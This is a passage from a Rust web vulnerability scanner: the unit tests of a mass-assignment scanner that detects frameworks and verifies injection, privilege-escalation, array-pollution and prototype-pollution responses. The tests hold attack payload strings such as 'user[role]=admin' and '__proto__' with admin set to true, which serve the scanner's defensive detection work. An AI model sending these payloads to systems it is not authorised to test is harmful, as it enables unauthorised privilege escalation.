2217    - Validate all nested objects
2218    - Limit depth and array sizes"#
2219            .to_string()
2220    }
2221}
2222
2223/// Generate a random UUID-like string
2224fn generate_uuid() -> String {
2225    use rand::RngExt;
2226    let mut rng = rand::rng();
2227    format!(
2228        "{:08x}{:04x}{:04x}{:04x}{:012x}",
2229        rng.random::<u32>(),
2230        rng.random::<u16>(),
2231        rng.random::<u16>(),
2232        rng.random::<u16>(),
2233        rng.random::<u64>() & 0xffffffffffff
2234    )
2235}
2236
2237#[cfg(test)]
2238mod tests {
2239    use super::*;
2240    use crate::http_client::HttpClient;
2241    use std::sync::Arc;
2242
2243    fn create_test_scanner() -> AdvancedMassAssignmentScanner {
2244        let http_client = Arc::new(HttpClient::new(30, 3).unwrap());
2245        AdvancedMassAssignmentScanner::new(http_client)
2246    }
2247
2248    #[test]
2249    fn test_unique_marker_generation() {
2250        let scanner1 = create_test_scanner();
2251        let scanner2 = create_test_scanner();
2252
2253        assert_ne!(scanner1.test_marker, scanner2.test_marker);
2254        assert!(scanner1.test_marker.starts_with("maa_"));
2255    }
2256
2257    #[test]
2258    fn test_framework_detection() {
2259        let scanner = create_test_scanner();
2260
2261        // Test Rails detection
2262        let mut headers = std::collections::HashMap::new();
2263        headers.insert("server".to_string(), "Passenger".to_string());
2264        let framework = scanner.detect_framework(&headers, "");
2265        assert_eq!(framework, ApiFramework::Rails);
2266
2267        // Test Express detection
2268        let mut headers = std::collections::HashMap::new();
2269        headers.insert("x-powered-by".to_string(), "Express".to_string());
2270        let framework = scanner.detect_framework(&headers, "");
2271        assert_eq!(framework, ApiFramework::Express);
2272
2273        // Test Django detection
2274        let mut headers = std::collections::HashMap::new();
2275        headers.insert("server".to_string(), "gunicorn".to_string());
2276        let framework = scanner.detect_framework(&headers, "Django");
2277        assert_eq!(framework, ApiFramework::Django);
2278    }
2279
2280    #[test]
2281    fn test_nested_injection_detection() {
2282        let scanner = create_test_scanner();
2283
2284        // Test marker-based detection
2285        let body_with_marker = format!(r#"{{"user":{{"{}":"injected"}}}}"#, scanner.test_marker);
2286        assert!(scanner.verify_nested_injection(
2287            &body_with_marker,
2288            &format!("user[{}]=injected", scanner.test_marker)
2289        ));
2290
2291        // Test role injection
2292        assert!(scanner.verify_nested_injection(r#"{"user":{"role":"admin"}}"#, "user[role]=admin"));
2293
2294        // Test admin flag injection
2295        assert!(scanner.verify_nested_injection(r#"{"user":{"admin":true}}"#, "user[admin]=true"));
2296
2297        // Test isAdmin injection
2298        assert!(scanner
2299            .verify_nested_injection(r#"{"profile":{"isAdmin":true}}"#, "profile[isAdmin]=true"));
2300    }
2301
2302    #[test]
2303    fn test_no_false_positives() {
2304        let scanner = create_test_scanner();
2305
2306        // HTML should not trigger
2307        assert!(!scanner
2308            .verify_nested_injection("<html><body>admin panel</body></html>", "user[role]=admin"));
2309
2310        // Plain text should not trigger
2311        assert!(!scanner.verify_nested_injection("Welcome admin user", "user[admin]=true"));
2312
2313        // Unrelated JSON should not trigger
2314        assert!(!scanner.verify_nested_injection(r#"{"message":"success"}"#, "user[role]=admin"));
2315    }
2316
2317    #[test]
2318    fn test_privilege_escalation_verification() {
2319        let scanner = create_test_scanner();
2320
2321        assert!(scanner.verify_privilege_escalation(r#"{"role":"admin"}"#, "role", "admin"));
2322
2323        assert!(scanner.verify_privilege_escalation(r#"{"isAdmin":true}"#, "isAdmin", "true"));
2324
2325        assert!(!scanner.verify_privilege_escalation(r#"{"role":"user"}"#, "role", "admin"));
2326    }
2327
2328    #[test]
2329    fn test_array_pollution_verification() {
2330        let scanner = create_test_scanner();
2331
2332        assert!(scanner.verify_array_pollution(r#"[{"admin":true}]"#, "users[0][admin]=true"));
2333
2334        assert!(scanner.verify_array_pollution(r#"[{"role":"admin"}]"#, "users[0][role]=admin"));
2335
2336        assert!(!scanner.verify_array_pollution(r#"{"message":"ok"}"#, "users[0][admin]=true"));
2337    }
2338
2339    #[test]
2340    fn test_data_modification_endpoint_detection() {
2341        let scanner = create_test_scanner();
2342
2343        assert!(scanner.is_data_modification_endpoint("/api/users/create"));
2344        assert!(scanner.is_data_modification_endpoint("/api/profile/update"));
2345        assert!(scanner.is_data_modification_endpoint("/api/settings"));
2346        assert!(scanner.is_data_modification_endpoint("/api/account/register"));
2347
2348        assert!(!scanner.is_data_modification_endpoint("/api/users/list"));
2349        assert!(!scanner.is_data_modification_endpoint("/static/image.png"));
2350    }
2351
2352    #[test]
2353    fn test_json_field_extraction() {
2354        let scanner = create_test_scanner();
2355
2356        let json = json!({
2357            "user": {
2358                "name": "test",
2359                "profile": {
2360                    "role": "user"
2361                }
2362            }
2363        });
2364
2365        let fields = scanner.extract_field_names(&json);
2366
2367        assert!(fields.contains("user"));
2368        assert!(fields.contains("name"));
2369        assert!(fields.contains("profile"));
2370        assert!(fields.contains("role"));
2371        assert!(fields.contains("user.name"));
2372        assert!(fields.contains("user.profile"));
2373        assert!(fields.contains("user.profile.role"));
2374    }
2375
2376    #[test]
2377    fn test_vulnerability_creation() {
2378        let scanner = create_test_scanner();
2379
2380        let vuln = scanner.create_vulnerability(
2381            "https://example.com/api/users",
2382            "Mass Assignment Test",
2383            "role=admin",
2384            "Test description",
2385            "Test evidence",
2386            Severity::Critical,
2387            Confidence::High,
2388            "CWE-915",
2389            9.0,
2390        );
2391
2392        assert!(vuln.id.starts_with("maa_"));
2393        assert_eq!(vuln.severity, Severity::Critical);
2394        assert_eq!(vuln.confidence, Confidence::High);
2395        assert_eq!(vuln.cwe, "CWE-915");
2396        assert_eq!(vuln.cvss, 9.0);
2397        assert!(vuln.verified);
2398    }
2399
2400    #[test]
2401    fn test_nested_url_payload_generation() {
2402        let scanner = create_test_scanner();
2403
2404        let payloads = scanner.generate_nested_url_payloads();
2405
2406        assert!(!payloads.is_empty());
2407
2408        // Check for various nesting levels
2409        let has_2_level = payloads.iter().any(|(p, _)| p.contains("user[role]=admin"));
2410        let has_3_level = payloads
2411            .iter()
2412            .any(|(p, _)| p.contains("user[profile][role]=admin"));
2413        let has_4_level = payloads
2414            .iter()
2415            .any(|(p, _)| p.contains("user[profile][role][level]=admin"));
2416
2417        assert!(has_2_level);
2418        assert!(has_3_level);
2419        assert!(has_4_level);
2420
2421        // Check for marker payloads
2422        let has_marker = payloads
2423            .iter()
2424            .any(|(p, _)| p.contains(&scanner.test_marker));
2425        assert!(has_marker);
2426    }
2427
2428    #[test]
2429    fn test_deep_merge_verification() {
2430        let scanner = create_test_scanner();
2431
2432        let payload = json!({"user": {"role": "admin"}});
2433
2434        assert!(scanner.verify_deep_merge(r#"{"user":{"role":"admin"}}"#, &payload));
2435
2436        // Prototype pollution detection
2437        let proto_payload = json!({"__proto__": {"admin": true}});
2438        assert!(scanner.verify_deep_merge(r#"{"__proto__":{"admin":true}}"#, &proto_payload));
2439    }
2440}